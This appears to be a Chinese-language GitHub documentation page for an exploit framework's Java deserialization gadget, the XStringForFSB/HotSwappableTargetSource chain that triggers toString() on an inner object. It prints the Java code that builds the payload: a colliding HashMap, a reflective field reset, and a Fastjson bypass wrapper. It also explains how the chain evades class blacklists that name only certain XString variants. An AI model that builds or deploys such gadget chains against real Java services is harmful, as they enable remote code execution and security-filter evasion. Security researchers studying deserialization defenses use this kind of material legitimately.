Skip to content

Latest commit

 

History

History
59 lines (48 loc) · 3.96 KB

File metadata and controls

59 lines (48 loc) · 3.96 KB

XStringForFSB 调用toString链(XString3)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖spring-aop:org.springframework.aop.target.HotSwappableTargetSourcejdk:com.sun.org.apache.xpath.internal.objects.XStringForFSB

作用

XString1XStringForFSB 变体:用 JDK 内置的 com.sun.org.apache.xpath.internal.objects.XStringForFSB(基于 FastStringBufferXString 子类)作载体,经 HashMap 碰撞 → HotSwappableTargetSource.equalsXStringForFSB.equals,对内层对象调用任意 toString()。是 XString 家族中针对 XStringForFSB 的绕过变体。

链接标签

  • 入口 tagsJavaNativeDeserializeHessianDeserialize —— 承接 Java 原生反序列化 / Hessian 反序列化入口。
  • 衔接 nextTagsToString —— 之后接一个「入口为 toString()」的 gadget。
  • excludes:(无)

源码剖析

public Object getObject(Object object) throws Exception {
    XStringForFSB xString = new XStringForFSB(new FastStringBuffer(), 0, 0);  // 以空 FSB 构造
    HotSwappableTargetSource h1 = new HotSwappableTargetSource(object);
    HotSwappableTargetSource h2 = new HotSwappableTargetSource((Object)xString);
    Reflections.setFieldValue(xString, "m_obj", null);                        // 反射清空 m_obj,规避序列化/equals 障碍
    HashMap map = PayloadHelper.makeMap(h1, h2);
    return map;
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    Object object = chain.doCreate(context);
    Object getterObject = context.get(ContextTag.FASTJSON_HANDLE_BYPASS_KEY);
    Object resultObject = this.getObject(object);
    if (getterObject != null) {
        return CommonMethod.listWrap(getterObject, resultObject);
    }
    return resultObject;
}

与 XString1 的差异

  • 载体换为 XStringForFSB,构造器签名 (FastStringBuffer fsb, int start, int length);此处用 new FastStringBuffer() 空缓冲配 0, 0
  • 关键额外一步 Reflections.setFieldValue(xString, "m_obj", null)XStringForFSB 内部持有 m_obj(指向 FastStringBuffer)。把 m_objnull 是为了在后续处理中避免对 FastStringBuffer 的不必要序列化/比较(FastStringBuffer 本身携带较重的内部结构,直接保留易导致序列化异常或 equals 行为不受控);置空后 XStringForFSB 作为「壳」参与 equals,仍走父类 XString 的比较逻辑对 objecttoString()
  • 触发链与 XString1 一致:HashMap.readObject 同桶碰撞 → HotSwappableTargetSource.equals 转比 targetXStringForFSB.equals(object)object.toString()

invokeFASTJSON_HANDLE_BYPASS_KEY 处理同 XString1(Fastjson handle 绕过场景套 List,否则直接返回 HashMap)。

参数(@Param)

本类无 @Param,无用户可配字段;内层对象与上下文由链自动注入。

适用版本与原理要点

  • 使用 JDK 内置 XStringForFSB,无需第三方 XML 依赖,仅需 spring-aopHotSwappableTargetSource
  • XStringForFSBXString/XStringForChars 类名不同,可在目标仅黑名单了某一具体 XString* 类时用作替代。
  • m_obj 置空是本变体的必要处理,避免 FastStringBuffer 引入序列化/比较副作用。
  • 同样受 JDK 模块化后 com.sun.org.apache.xpath.internal.* 可用性影响。

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。

关联